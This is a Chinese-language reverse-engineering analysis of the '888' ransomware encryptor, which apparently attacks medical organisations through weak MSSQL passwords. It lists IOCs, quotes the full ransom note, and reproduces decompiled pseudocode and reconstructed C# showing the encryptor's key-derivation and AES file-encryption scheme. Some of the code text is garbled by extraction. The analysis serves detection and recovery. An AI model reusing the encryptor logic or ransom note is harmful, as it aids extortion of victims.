【病毒分析】888勒索家族再出手!幕后加密器深度剖析

admin 2025年5月15日10:34:40评论0 views字数 24852阅读82分50秒阅读模式

1.背景

2025年3月,Solar应急响应团队成功捕获了888勒索家族的加密器样本。实际上,我们最早接触该家族是在2024年10月,彼时888家族活跃度极高,频繁针对医疗行业发起攻击,受害对象以药店、医院等医疗机构为主。

在攻击方式上,888家族主要通过MSSQL数据库弱口令爆破实现初始入侵,成功获取权限后,将自制的加密器投放至服务器路径中的Musicmisc目录,以隐藏其恶意文件,随后迅速对服务器内的重要数据实施加密勒索。

1.1 加密器特征

该勒索家族较为狡猾,通过ping空地址绕过本地安全机制监测最终实现自删除。

【病毒分析】888勒索家族再出手!幕后加密器深度剖析

加密器启动后运行的命令行指令

在成功加密后,桌面上会生成名为“!RESTORE_FILES!.txt”的勒索信,要求受害者将信内ID发到下方的邮箱中,以取得初步联系获得赎金报价。

【病毒分析】888勒索家族再出手!幕后加密器深度剖析

勒索信

【病毒分析】888勒索家族再出手!幕后加密器深度剖析

被加密后的目录

1.2 攻击链路与IOC

888勒索家族惯用的手段是通过数据库对外暴露入口弱口令入侵数据库,并在数据执行提权操作,获取高权限账户或将木马加载到受害者设备,随后再进行加密器的加载运行。

【病毒分析】888勒索家族再出手!幕后加密器深度剖析

1.3 IOC

详细信息 类型 关联文件/主机/备注
d15ab1e89fc94d9b4dff7cb5b8d392eca74a0a65
Sha1
netpass64.exe
7ab128659ad586761ea68009d59a1ccf1547a039
Sha1
netpass64.exe
8b0e4650f1a7080b78066a61152e571ca8b6816b
Sha1
svchost.exe
86803bbc26ed08e863ab17c765577a74637afaa7
Sha1
svchost.exe
a0bdfac3ce1880b32ff9b696458327ce352e3b1d
Sha1
processhacker.exe
729fd507a1118b2d9008a097b7330c52760ceb9e
Sha1
processhacker.exe
31.43.176.57

IP

波兰
36.152.235.38

IP

中国 江苏省 徐州市
185.132.176.32

IP

荷兰 南荷兰省 纳尔德韦克
58.211.56.222

IP

中国 江苏省 苏州市
[email protected]
Mail_addr
勒索邮箱
[email protected]
Mail_addr
勒索邮箱
!RESTORE_FILES!.txt
File
勒索信文件名
.888
Suffix
勒索后缀名

2.恶意文件基础信息

2.1 恶意文件基本信息

文件名
svchost.exe
编译器
Microsoft Visual C/C++(19.36.33923)[C++]
大小
2.43 MB
操作系统
Windows(Vista)[AMD64, 64位, GUI]
模式
64 位
类型
EXEC
字节序
LE
MD5
5315bdbf85ad2b3bb13ae8ee62489f7f
SHA1
8b0e4650f1a7080b78066a61152e571ca8b6816b
SHA256
dee0fde2d096c79e138890f958b9440e87cce38504b654a97de50bb7969a9c98

2.2 勒索信

+----------------------------------------------------------------------------+|   !!!ALL YOUR FILES ARE ENCRYPTED, AS A RESULT OF A BREACH IN SECURITY!!!  |+----------------------------------------------------------------------------+No worries - you can get them back!It's impossible to decrypt without contacting us.+----------------------------------------------------------------------------+|   !!!DON'T TRY TO CHANGE ENCRYPTED FILES!!!                                ||   !!!DON'T RENAME ENCRYPTED FILES!!!                                       ||   !!!DON'T USE ADDITIONAL RECOVERY SOFTWARE!!!                             ||   !!!IT WILL MAKE THEM IMPOSSIBLE TO DECRYPT!!!                            |+----------------------------------------------------------------------------+How to return all your data back in safe:1. Copy and sent us your KEY.2. We can decrypt 2 small files, no databases (.jpg, .txt, .doc, ets.. (up to 3mb)) as your warranty.3. After payment, you will receive a special software for decryption.-----------------------------------------------------------------------------------------------------------------KEY: -----------------------------------------------------------------------------------------------------------------EMAILS:[email protected][email protected]Zero cheats, all integrity.

3.加密后文件分析

3.1威胁分析

病毒家族
888
首次出现时间/捕获分析时间
2024/10/19 || 2025/03/27
威胁类型
勒索软件,加密病毒
加密文件扩展名
.888
勒索信文件名
!RESTORE_FILES!.txt
有无免费解密器?
联系邮箱
[email protected]
感染症状
无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名(例如,solar.docx.888)。桌面上会显示一条勒索要求消息。网络犯罪分子要求支付赎金(通常以比特币)来解锁您的文件。
感染方式
受感染的电子邮件附件(宏)、恶意广告、漏洞利用、恶意链接
受灾影响
所有文件都经过加密,如果不支付赎金就无法打开。其他密码窃取木马和恶意软件感染可以与勒索软件感染一起安装。

3.2 加密的测试文件

文件名

sierting.txt

具体内容:

【病毒分析】888勒索家族再出手!幕后加密器深度剖析
【病毒分析】888勒索家族再出手!幕后加密器深度剖析

加密文件名特征:

加密文件名 = 原始文件名+888 ,例如:sierting.txt.888

加密文件数据特征:

【病毒分析】888勒索家族再出手!幕后加密器深度剖析

加密算法:

AES密钥生成:

通过随机生成的两个guid来生成key和iv

程序执行流程:

【病毒分析】888勒索家族再出手!幕后加密器深度剖析

4.逆向分析

4.1加密器逆向分析

勒索信密钥初始化

初始化了几个常量如下

5FC92AFFB28BE14BD3A8B1843E9F8E8BB394A50F7E3E599D0316E97D8B98BEDFFC5A714EFBF1AE255D0071443A0D08FE70B2DE19F1F288115EDF3E6FA5263DBF.888AC11CD9E6DA7311B9804D8EB421DB7EFEC8ABB7EACC999CA64F3C7A99686E826!RESTORE_FILES!.txt9139F9BF04FB5ED3A8DF78E10110710C4134C2A37CBE912B6428B7FE19D2268906FEECBAD923B75FA5B35A7A949C479AA67D838884BDA14963DC1903ACCD3E37171C88018769B3D2B33D7065A162D3731ECEFB18A54054075A16614A468925B424AD21C4C3E2A430DF77EC0A190E2021976059732C696FADC61F62490E5EC202B502B9C8546259BC27DAA82287C4ADA92A16B7A81665FAF9EFD20A4C3FD6233AA9C3ED26735E74CC8939D5D7875BC9AEC04E5A91607BE48E6897CB7A96E1170D45AB92864D45D54123C980CD245B31ED37A6EDDDF952A342CC5D9CB777B3942E

查找同路径下是否存在p.txt文件,如果有,则读取,并将读取到的内容进行sha256哈希计算之后再进行base64编码,然后再将此文件移动到C:WindowsTemp!wwwGdddf#.txt

__int64 __fastcall sub_7FF643B1AF70(__int64 a1, __int64 a2){  __int64 v4; // rax  __int64 v5; // rax  __int64 v6; // rax  __int64 v7; // raxif ( !(unsignedint)S_P_CoreLib_System_IO_File__Exists(a1) )  {if ( (unsignedint)S_P_CoreLib_System_IO_File__Exists(a2) )    {if ( *(&qword_7FF643BB5520 - 1) )        sub_7FF643A11806();      v6 = read_file(a2, *(_QWORD *)(qword_7FF643CDBB28 + 8));      v7 = sha256_base64(v6);if ( v7 )      {if ( *(_DWORD *)(v7 + 8) )return v7;      }    }return0i64;  }if ( (unsignedint)S_P_CoreLib_System_IO_File__Exists(a2) )    S_P_CoreLib_System_IO_File__Delete(a2);  move_file(a1, a2, 0);if ( *(&qword_7FF643BB5520 - 1) )    sub_7FF643A11806();  v4 = read_file(a2, *(_QWORD *)(qword_7FF643CDBB28 + 8));  v5 = sha256_base64(v4);if ( !v5 || !*(_DWORD *)(v5 + 8) )return0i64;return v5;}

用于测试的p.txt的内容为sdjfpisjpdfajspfas[pfpasjf计算后的结果为Yatspzm25UgfTLY0KDmz8Gi6SZVhA1tIk4HTqwpOBcs=

获取mac地址信息并转换为hex字符串

char **sub_7FF643B1C6C0(){char **v0; // rbx  __int64 NetworkInterfaces; // rsiint v2; // ediint v3; // ebp  __int64 *v4; // r14  __int64 v5; // r15  __int64 v6; // rcx  __int64 v7; // raxint v8; // edx  __int64 v9; // rax  __int64 v11; // [rsp+28h] [rbp-40h] BYREF  __int64 v12; // [rsp+30h] [rbp-38h]  v11 = 0i64;  v12 = 0i64;  v0 = &off_7FF643B92330;  NetworkInterfaces = System_Net_NetworkInformation_System_Net_NetworkInformation_SystemNetworkInterface__GetNetworkInterfaces();  v2 = 0;  v3 = *(_DWORD *)(NetworkInterfaces + 8);if ( v3 > 0 )  {do    {      v4 = *(__int64 **)(NetworkInterfaces + 8i64 * (unsignedint)v2 + 16);      v5 = *v4;if ( (*(unsignedint (__fastcall **)(__int64 *))(*v4 + 64))(v4) != 24        && (*(unsignedint (__fastcall **)(__int64 *))(v5 + 48))(v4) == 1 )      {        v6 = *(_QWORD *)((*(__int64 (__fastcall **)(__int64 *))(v5 + 56))(v4) + 8);if ( v6 )        {          v7 = v6 + 16;          v8 = *(_DWORD *)(v6 + 8);        }else        {          v7 = 0i64;          v8 = 0;        }        v11 = v7;        LODWORD(v12) = v8;        v9 = S_P_CoreLib_System_Convert__ToHexString_1(&v11);        v0 = (char **)String__Concat_5(v0, v9);      }      ++v2;    }while ( v3 > v2 );  }return v0;}

获取计算机名称,截断字符串FC5A714EFBF1AE255D0071443A0D08FE70B2DE19F1F288115EDF3E6FA5263DBF的部分字节结果如下FC5A714EFBF1AE255D0071443A0D08FE,将其进行sha256计算之后再将刚刚获得的mac信息和计算机名称进行拼接,然后再计算sha256并编码为base64。最后得到如下结果 akflLG7b++2vAPZZP62WLtO5XDpblwfcnVbR+65Y1/U=

__int64 sub_7FF643B1C0E0(){  __int64 v0; // rbx  __int64 v1; // rsi  __int64 v2; // rax  __int64 v3; // rax  __int64 v4; // rax  v0 = get_mac();  v1 = get_computer_name();if ( qword_7FF643BB56F0[-1] )    sub_7FF643A11BA6();  v2 = String__Substring_0(*(_QWORD *)(qword_7FF643CDBD68 + 16), 0i64, 32i64);  v3 = sha256_base64_0(v2, 16);  v4 = String__Concat_6(v0, v1, v3);return sha256_base64_0(v4, 32);}

首先将常量字符串FC5A714EFBF1AE255D0071443A0D08FE70B2DE19F1F288115EDF3E6FA5263DBF按照12个字符的顺序截取,首先是开头部分的FC5A714EFBF1,然后是AE255D007144,以此类推。最后再截取出末尾的字符3DBF。

接着再将前面计算得到的字符串akflLG7b++2vAPZZP62WLtO5XDpblwfcnVbR+65Y1/U=用同样的方式计算。

__int64 __fastcall key_init(__int64 a1, unsignedint a2){  __int64 v4; // rdi  __int64 v5; // rdxint v6; // ebpint v7; // r14dchar **v8; // rax  __int64 v9; // rcx  __int64 v10; // rdx  v4 = RhpNewFast(&unk_7FF643BCDCA0);  RhpAssignRefAVLocation((unsigned __int64 *)(v4 + 8), *(_QWORD *)(qword_7FF643CDBE80 + 8));  v5 = 0i64;  v6 = *(_DWORD *)(a1 + 8);if ( v6 > 0 )  {do    {      v7 = v5 + a2;if ( (int)(v5 + a2) > v6 )      {        v8 = String__Substring(a1, v5);        ++*(_DWORD *)(v4 + 20);        v9 = *(_QWORD *)(v4 + 8);        v10 = *(unsignedint *)(v4 + 16);if ( *(_DWORD *)(v9 + 8) <= (unsignedint)v10 )        {LABEL_6:          S_P_CoreLib_System_Collections_Generic_List_1_System___Canon___AddWithResize(v4, v8);goto LABEL_7;        }      }else      {        v8 = (char **)String__Substring_0(a1, v5, a2);        ++*(_DWORD *)(v4 + 20);        v9 = *(_QWORD *)(v4 + 8);        v10 = *(unsignedint *)(v4 + 16);if ( *(_DWORD *)(v9 + 8) <= (unsignedint)v10 )goto LABEL_6;      }      *(_DWORD *)(v4 + 16) = v10 + 1;      RhpAssignRefAVLocation((unsigned __int64 *)(v9 + 8 * v10 + 16), (unsigned __int64)v8);LABEL_7:      v5 = (unsignedint)v7;    }while ( v6 > v7 );  }return v4;}

最后通过如下方式计算出勒索信中显示的key:++2vAPZZAE255D007144akflLG7bFC5A714EFBF1P62WLtO53A0D08FE70B2nVbR+65Y5EDF3E6FA526XDpblwfcDE19F1F288111/U=3DBF

defsplit_string_by_segments(input_str,segment_length):    segments = []for i in range(0, len(input_str) - 4, segment_length):        segment = input_str[i:i + segment_length]        segments.append(segment)    last_segment = input_str[-4:]    segments.append(last_segment)return segmentsstr1 = "FC5A714EFBF1AE255D0071443A0D08FE70B2DE19F1F288115EDF3E6FA5263DBF"#常量字符串result1 = split_string_by_segments(str1,12)list1=[]for i, seg in enumerate(result1):    list1.append(seg)str2 = "akflLG7b++2vAPZZP62WLtO5XDpblwfcnVbR+65Y1/U="#通过计算机信息计算出来的hashresult2 = split_string_by_segments(str2,8)list2=[]for i, seg in enumerate(result2):    list2.append(seg)print(list2[1]+list1[1]+list2[0]+list1[0]+list2[2]+list1[2]+list2[4]+list1[4]+list2[3]+list1[3]+list2[5]+list1[5])

将通过mac和计算机名称计算得到的hash写入C:WindowsTemp!wwkdsfdsfewt.txt

__int64 __fastcall sub_7FF643AE6930(        __int64 a1,constvoid *lpBuffer_1,        DWORD nNumberOfBytesToWrite_1,        DWORD *lpNumberOfBytesWritten_1,        struct _OVERLAPPED *lpOverlapped){void *hFile_1; // r14unsignedint v9; // ebx  DWORD LastError; // esi  _BYTE v12[44]; // [rsp+28h] [rbp-A0h] BYREF  LPDWORD lpNumberOfBytesWritten; // [rsp+54h] [rbp-74h]  LPCVOID lpBuffer; // [rsp+5Ch] [rbp-6Ch]  HANDLE hFile; // [rsp+64h] [rbp-64h]  DWORD nNumberOfBytesToWrite; // [rsp+6Ch] [rbp-5Ch]  DWORD *lpNumberOfBytesWritten_2; // [rsp+70h] [rbp-58h]  __int128 v18; // [rsp+78h] [rbp-50h] BYREF  v18 = 0i64;  *(_QWORD *)&v18 = a1;  S_P_CoreLib_System_Runtime_InteropServices_SafeHandle__DangerousAddRef(a1, (char *)&v18 + 8);  lpNumberOfBytesWritten_2 = lpNumberOfBytesWritten_1;  hFile_1 = *(void **)(v18 + 8);  SetLastError(0);  hFile = hFile_1;  lpBuffer = lpBuffer_1;  nNumberOfBytesToWrite = nNumberOfBytesToWrite_1;  lpNumberOfBytesWritten = lpNumberOfBytesWritten_1;  RhpPInvoke(v12);  v9 = WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped);  RhpPInvokeReturn(v12);  LastError = GetLastError();  lpNumberOfBytesWritten_2 = 0i64;if ( BYTE8(v18) )    S_P_CoreLib_System_Runtime_InteropServices_SafeHandle__InternalRelease(v18, 0i64);  *(_DWORD *)(_GetThreadStaticBase_S_P_CoreLib_Internal_Runtime_ThreadStatics_9() + 168) = LastError;return v9;}

sha256_base64函数

对输入的字符串进行sha256哈希,然后根据输入的a2参数进行截断,最后将截断后的字符串进行base64编码

__int64 __fastcall sha256_base64_0(__int64 a1, unsignedint a2){  __int64 Bytes; // rsi  __int64 v5; // rdi  __int64 v6; // rsi  __int64 v7; // rdi  __int64 v8; // rbx  __int64 v10; // [rsp+20h] [rbp-28h]if ( *(&qword_7FF643BB5520 - 1) )    sub_7FF643A11806();  Bytes = S_P_CoreLib_System_Text_UTF8Encoding_UTF8EncodingSealed__GetBytes(*(_QWORD *)(qword_7FF643CDBB28 + 8), a1);  v5 = RhpNewFast(&unk_7FF643BC7D88);  System_Security_Cryptography_System_Security_Cryptography_SHA256Managed___ctor(v5);  v10 = v5;  v6 = sub_7FF643AFB200(v5, Bytes);  v7 = RhpNewArray(&unk_7FF643BFE7C0, (int)a2);  S_P_CoreLib_System_Array__Copy_1(v6, v7, a2);  v8 = str_to_base64(v7);  unk_7FF643BB7AA0(v10);return v8;}

加密

遍历文件,并排除以下目录

【病毒分析】888勒索家族再出手!幕后加密器深度剖析

对文件名进行判断

【病毒分析】888勒索家族再出手!幕后加密器深度剖析

如果包含以下文件名,就跳过

!RESTORE_FILES!.txtsvchost.exebootmgrbootmgr.efibootmgr.efi.muibootmgr.exebootmgr.exe.muiimg___XXX.jpg

接着判断后缀是否为.888,如果是,就跳过。

接着对进行计算并得到一个常量。

if ( v17 > 1 )  {do    {if ( v15 )      {        v18 = (char *)v15 + 12;        v19 = *((_DWORD *)v15 + 2);      }else      {        v18 = 0i64;        v19 = 0;      }      LODWORD(v39) = *(unsigned __int16 *)(v14 + 2i64 * (unsignedint)v16 + 12);      S_P_CoreLib_System_Globalization_CultureInfo__get_CurrentCulture();      TextInfo = S_P_CoreLib_System_Globalization_CultureInfo__get_TextInfo();      HIDWORD(v39) = S_P_CoreLib_System_Globalization_TextInfo__ToLower(TextInfo, (unsignedint)v39);      *(_QWORD *)&v38 = v18;      DWORD2(v38) = v19;      *(_QWORD *)&v37 = (char *)&v39 + 4;      DWORD2(v37) = 1;      v15 = (char **)String__Concat_8(&v38, &v37);      v16 += 2;    }while ( v17 > v16 );  }

计算方式如下

byte[] byteArray ={ 0x320x000x340x000x410x000x440x000x320x00,0x310x000x430x000x340x000x430x000x330x00,0x450x000x320x000x410x000x340x000x330x00,0x300x000x440x000x460x000x370x000x370x00,0x450x000x430x000x300x000x410x000x310x00,0x390x000x300x000x450x000x320x000x300x00,0x320x000x310x000x390x000x370x000x360x00,0x300x000x350x000x390x000x370x000x330x00,0x320x000x430x000x360x000x390x000x360x00,0x460x000x410x000x440x000x430x000x360x00,0x310x000x460x000x360x000x320x000x340x00,0x390x000x300x000x450x000x350x000x450x00,0x430x000x320x000x300x000x32 };string sum= "";for (int i = 1; i * 2 < byteArray.Length; i += 2)        {            sum+= (char)byteArray[i * 2];        }

接着再根据输入的文件名进行计算

  v21 = (unsigned __int64 *)RhpNewArray(&qword_7FF643BFE520, 5i64);  v22 = String__Substring_0(v35, 0i64, 8i64);  RhpAssignRefAVLocation(v21 + 2, v22);  RhpAssignRefAVLocation(v21 + 3, name_no_ext);  RhpAssignRefAVLocation(v21 + 4, v12);  v23 = String__Substring(v35, (unsigned int)(*(_DWORD *)(v35 + 8) - 8));  RhpAssignRefAVLocation(v21 + 5, (unsigned __int64)v23);  RhpAssignRefAVLocation(v21 + 6, a2);  v24 = String__Concat_12((__int64)v21);  v25 = sha256_base64_0((__int64)v24, 8);  v26 = sha256_base64_0(name_no_ext, 16);  v27 = (unsigned __int64 *)RhpNewArray(&qword_7FF643BFE520, 5i64);  RhpAssignRefAVLocation(v27 + 2, v26);  v28 = String__Substring(*(_QWORD *)(v13 + 16), 32i64);  v29 = sha256_base64_0((__int64)v28, 32);  RhpAssignRefAVLocation(v27 + 3, v29);  RhpAssignRefAVLocation(v27 + 4, a2);  v30 = String__Substring(v35, (unsigned int)(*(_DWORD *)(v35 + 8) - 10));  RhpAssignRefAVLocation(v27 + 5, (unsigned __int64)v30);  RhpAssignRefAVLocation(v27 + 6, (unsigned __int64)v15);  v31 = String__Concat_12((__int64)v27);  v32 = sha256_base64_0((__int64)v31, 32);return String__Concat_6(v32, &off_7FF643BAFBC0, v25);

首先计算v32,计算方法如

//Program.const_str是输入的密钥文件sha256加密后再使用base64编码后的结果string filename = Path.GetFileNameWithoutExtension(Path.GetFileName(encryptedFilePath));string name = Path.GetFileNameWithoutExtension(filename);byte[] name_sha256 = ComputeTruncatedHash(sha256, name, 16);string base_name = Convert.ToBase64String(name_sha256);string concat_str0 = base_name + "kJxdORYN/Ls2XC9oCqio+0ZY63esndX7jYcy4GGrLrI=" + Program.const_str + "FE19D226894d143240f" + "7ca9e017093c9fd6f29ee22";byte[] concat_str0_sha256 = ComputeTruncatedHash(sha256, concat_str0, 32);string base_concat_str0 = Convert.ToBase64String(concat_str0_sha256);

接下来计算v25,计算方法如下

string input = "9139F9BF" + name + "B33D7065A162D3731ECEFB18A540540719D22689" + Program.const_str;  byte[] hash = ComputeTruncatedHash(sha256, input, 8);string input_hash = Convert.ToBase64String(hash);

然后通过||将这个两个计算出来的字符串拼接在一起

接着随机生成两个guid

          guid1 = S_P_CoreLib_System_Guid__ToString_1((__int64)&v66 + 8, (__int64)&off_7FF643BAD1D0, 0i64, v16);          guid2 = S_P_CoreLib_System_Guid__ToString_1((__int64)&v65, (__int64)&off_7FF643BAD1D0, 0i64, v17);          v60 = sha256_base64_0(guid1, 32);          v59 = sha256_base64_0(guid2, 32);          v47 = sha256_base64_0(v13[11], 32);          v18 = sha256_base64_0(v13[11], 32);          v46 = String__Substring(v47, (unsigned int)(*(_DWORD *)(v18 + 8) - 12));          v19 = sha256_base64_0(v13[13], 32);          v20 = String__Substring_0(v19, 0i64, 16i64);          v58 = String__Concat_5(v46, v20);          v45 = sha256_base64_0(v13[13], 32);          v21 = sha256_base64_0(v13[11], 32);          v44 = String__Substring(v45, (unsigned int)(*(_DWORD *)(v21 + 8) - 12));          v22 = sha256_base64_0(v13[11], 32);          v23 = String__Substring_0(v22, 0i64, 16i64);          v57 = String__Concat_5(v44, v23);          v43 = sha256_base64_0(v13[13], 32);          v24 = sha256_base64_0(v13[11], 32);          v42 = String__Substring(v43, (unsigned int)(*(_DWORD *)(v24 + 8) - 16));          v41 = sha256_base64_0(FileNameFromPathBuffer, 16);          v25 = sha256_base64_0(v13[11], 32);          v40 = String__Substring_0(v25, 0i64, 12i64);          v26 = String__Substring(v13[9], (unsigned int)(*(_DWORD *)(v13[9] + 8) - 16));          v56 = String__Concat_7(v42, v41, v40, v26);          v39 = sha256_base64_0(v13[11], 32);          v27 = sha256_base64_0(v13[11], 32);          v38 = String__Substring(v39, (unsigned int)(*(_DWORD *)(v27 + 8) - 16));          v37 = sha256_base64_0(FileNameFromPathBuffer, 16);          v28 = sha256_base64_0(v13[13], 32);          v36 = String__Substring_0(v28, 0i64, 12i64);          v29 = String__Substring(v13[10], (unsigned int)(*(_DWORD *)(v13[10] + 8) - 12));          v48 = String__Concat_7(v38, v37, v36, v29);          v55 = sha256_base64(v58);          v54 = sha256_base64(v57);          v53 = sha256_base64(v56);          v52 = sha256_base64(v48);          v30 = String__Concat_6(*(_QWORD *)(v6 + 16), v60, v59);          v31 = sha256_base64(v30);

还原后的代码如下

//随机生成的guid,这里使用固定值进行测试string guid1 = "c6d47a10-0cf3-4d5c-a500-267db6a41545";byte[] guid1_byte = ComputeTruncatedHash(sha256, guid1, 32);string base_guid1_byte = Convert.ToBase64String(guid1_byte);//随机生成的guid,这里使用固定值进行测试string guid2 = "8184cff9-01c7-4f07-ac38-d80ed77d4b58";byte[] guid2_byte = ComputeTruncatedHash(sha256, guid2, 32);string base_guid2_byte = Convert.ToBase64String(guid2_byte);byte[] hex4_byte = ComputeTruncatedHash(sha256, hex4, 32);string base_hex4_byte = Convert.ToBase64String(hex4_byte);byte[] hex5_byte = ComputeTruncatedHash(sha256, hex5, 32);string base_hex5_byte = Convert.ToBase64String(hex5_byte);string hex5_hex4_cat = hex4_cat + base_hex5_byte.Substring(016);string base_hex5_cat = base_hex5_byte.Substring(base_concat_str0.Length - 1212);string base_hex4_cat = base_hex4_byte.Substring(016);string concat5 = base_hex5_cat + base_hex4_cat;//filename为文件名byte[] filename_byte = ComputeTruncatedHash(sha256, filename, 16);string base_filename_byte = Convert.ToBase64String(filename_byte);string concat6 = "e9+zXBNtL8ALaRk=" + base_filename_byte + "IewroqVNVUV0" + "5A16614A468925B4";string concat7 = "D8NSVR1FARLvFrc=" + base_filename_byte + "Q9584Xb6oe9J" + "62490E5EC202";byte[] byte7 = ComputeTruncatedHash(sha256, "VR1FARLvFrc=Q9584Xb6oe9J5Vxk"32);string base_byte7 = Convert.ToBase64String(byte7);byte[] byte8 = ComputeTruncatedHash(sha256, "XBNtL8ALaRk=IewroqVNVUV0G/DZ"32);string base_byte8 = Convert.ToBase64String(byte8);byte[] filename_concat_byte_sha256 = ComputeTruncatedHash(sha256, concat6, 32);string base_filename_concat_byte_sha256 = Convert.ToBase64String(filename_concat_byte_sha256);byte[] filename_concat2_byte_sha256 = ComputeTruncatedHash(sha256, concat7, 32);string base_filename_concat2_byte_sha256 = Convert.ToBase64String(filename_concat2_byte_sha256);//上文通过mac信息和计算机名称计算得到的hashstring const_str = "akflLG7b++2vAPZZP62WLtO5XDpblwfcnVbR+65Y1/U=";string concat_str = const_str + base_guid1_byte + base_guid2_byte;byte[] concat_str_byte_sha256 = ComputeTruncatedHash(sha256, concat_str, 32);string base_concat_str_byte_sha256 = Convert.ToBase64String(concat_str_byte_sha256);

然后再拼接生成salt和password

string password= base_concat_str_byte_sha256 + base_concat_str0;string salt= input_hash+ base_guid2_byte;

通过salt和password生成key和iv,然后再将待加密的数据末尾添加上时间,接着使用aes对文件进行加密

  v42 = String__Concat_5(file_ext, a5);  sub_7FF643ACBDA0(file_ext, v42, 0);if ( *(&qword_7FF643BB5520 - 1) )    sub_7FF643A11806();  v31 = qword_7FF643CDBB28;  Bytes = S_P_CoreLib_System_Text_UTF8Encoding_UTF8EncodingSealed__GetBytes(*(_QWORD *)(qword_7FF643CDBB28 + 8), a3);if ( a4 && *(_DWORD *)(a4 + 8) )  {    v40 = S_P_CoreLib_System_Text_UTF8Encoding_UTF8EncodingSealed__GetBytes(*(_QWORD *)(v31 + 8), a4);  }else  {    v16 = RhpNewArray(&unk_7FF643BFE7C0, 16i64);    *(_OWORD *)(v16 + 16) = xmmword_7FF643C3FAA0;    v40 = v16;  }  v35 = sub_7FF643A13B30(&unk_7FF643BC2078);  S_P_CoreLib_System_IO_FileStream___ctor_13(v35, v42, 333409600i64);  v32 = RhpNewFast(&unk_7FF643BC73B0);  System_Security_Cryptography_System_Security_Cryptography_Aes___ctor();  (*(void (__fastcall **)(__int64, __int64))(*(_QWORD *)v32 + 112i64))(v17, 256i64);  (*(void (__fastcall **)(__int64, __int64))(*(_QWORD *)v32 + 64i64))(v32, 128i64);if ( qword_7FF643BB56F0[-1] )    sub_7FF643A1132C();  v45 = qword_7FF643BB56F0[0];  v34 = RhpNewFast(&unk_7FF643BC7C70);  System_Security_Cryptography_System_Security_Cryptography_Rfc2898DeriveBytes___ctor_7(    v34,    Bytes,    v40,    v45,    (__int64)&off_7FF643BA93E0,0);  v18 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v32 + 104i64))(v32);  v19 = System_Security_Cryptography_System_Security_Cryptography_Rfc2898DeriveBytes__GetBytes(          v34,          (unsignedint)(v18 / 8));  (*(void (__fastcall **)(__int64, __int64))(*(_QWORD *)v32 + 96i64))(v32, v19);  v20 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v32 + 56i64))(v32);  v21 = System_Security_Cryptography_System_Security_Cryptography_Rfc2898DeriveBytes__GetBytes(          v34,          (unsignedint)(v20 / 8));  (*(void (__fastcall **)(__int64, __int64))(*(_QWORD *)v32 + 80i64))(v32, v21);  v37 = sub_7FF643AF7900(v32);  v22 = S_P_CoreLib_System_IO_File__GetLastWriteTime(v42);  v23 = S_P_CoreLib_System_DateTimeFormat__Format_0(v22, &off_7FF643BAD360, 0i64, 0x8000000000000000ui64);  v36 = S_P_CoreLib_System_Text_UTF8Encoding_UTF8EncodingSealed__GetBytes(*(_QWORD *)(v31 + 8), v23);  sub_7FF643ACCEC0(v35, 0i64, 2i64);  v44 = *(_DWORD *)(v36 + 8);if ( (*(unsignedint (__fastcall **)(_QWORD))(**(_QWORD **)(v35 + 16) + 240i64))(*(_QWORD *)(v35 + 16)) )    sub_7FF643A9D1D0();  (*(void (__fastcall **)(_QWORD, __int64, _QWORD, _QWORD))(**(_QWORD **)(v35 + 16) + 216i64))(    *(_QWORD *)(v35 + 16),    v36,0i64,    v44);  sub_7FF643ACCEC0(v35, 0i64, 0i64);  v33 = RhpNewFast(&unk_7FF643BC7578);  sub_7FF643AF7EA0(v33, v35, v37, 10);  v24 = RhpNewArray(&unk_7FF643BFE7C0, Enumerator);  v48 = 0i64;while ( sub_7FF643ACCBB0(v35) > v48 )  {    v47 = sub_7FF643ACCC00(v35);    v43 = *(_DWORD *)(v24 + 8);if ( (*(unsignedint (__fastcall **)(_QWORD))(**(_QWORD **)(v35 + 16) + 240i64))(*(_QWORD *)(v35 + 16)) )      sub_7FF643A9D1D0();    v46 = (*(__int64 (__fastcall **)(_QWORD, __int64, _QWORD, _QWORD))(**(_QWORD **)(v35 + 16) + 200i64))(            *(_QWORD *)(v35 + 16),            v24,0i64,            v43);    v48 += v46;    sub_7FF643ACCC50(v35, v47);    System_Security_Cryptography_System_Security_Cryptography_CryptoStream__Write(v33, v24, 0, v46);  }

其中生成key和iv的方法如下,iterations和hashAlgorithm可以通过动态调式得到

int iterations = 50000;using (var deriveBytes = new Rfc2898DeriveBytes(    password: passwordBytes,    salt: saltBytes,    iterations: iterations,    hashAlgorithm: HashAlgorithmName.SHA256)){    byte[] key = deriveBytes.GetBytes(32); // AES-256密钥    byte[] iv = deriveBytes.GetBytes(16); 

接着拼接字符串 Done||文件名,然后使用

string salt = "Ed5w7OB07XyYegT57in85K82oHdRSx0bLKOKDCCGGKI=";string password = "+7Qvnh2QKaffTK+NQYapC6DwoJGM1StCA/9R9fCdR6o=";

生成密钥,接着对其进行aes加密,然后将生成的密文的长度转换为字符串,再用刚刚的密钥进行加密

【病毒分析】888勒索家族再出手!幕后加密器深度剖析

接着再用相同的密钥对前面生成的guid1进行加密。

通过文件名生成密钥来对guid2进行加密

  byte[] filename_byte = ComputeTruncatedHash(sha256, filename, 16);string base_filename = Convert.ToBase64String(filename_byte);string file_concat1 = "e9+zXBNtL8ALaRk=" + base_filename + "IewroqVNVUV0" + "5A16614A468925B4";  byte[] guid2_password_byte = ComputeTruncatedHash(sha256, file_concat1, 32);string guid2_password = Convert.ToBase64String(guid2_password_byte);string file_concat2 = "D8NSVR1FARLvFrc=" + base_filename + "Q9584Xb6oe9J" + "62490E5EC202";  byte[] guid2_salt_byte = ComputeTruncatedHash(sha256, file_concat2, 32);string guid2_salt = Convert.ToBase64String(guid2_salt_byte);

最后再加密字符串encr,密钥跟加密文件的密钥相同

创建勒索信快捷方式

在网络位置处创建勒索信的快捷方式

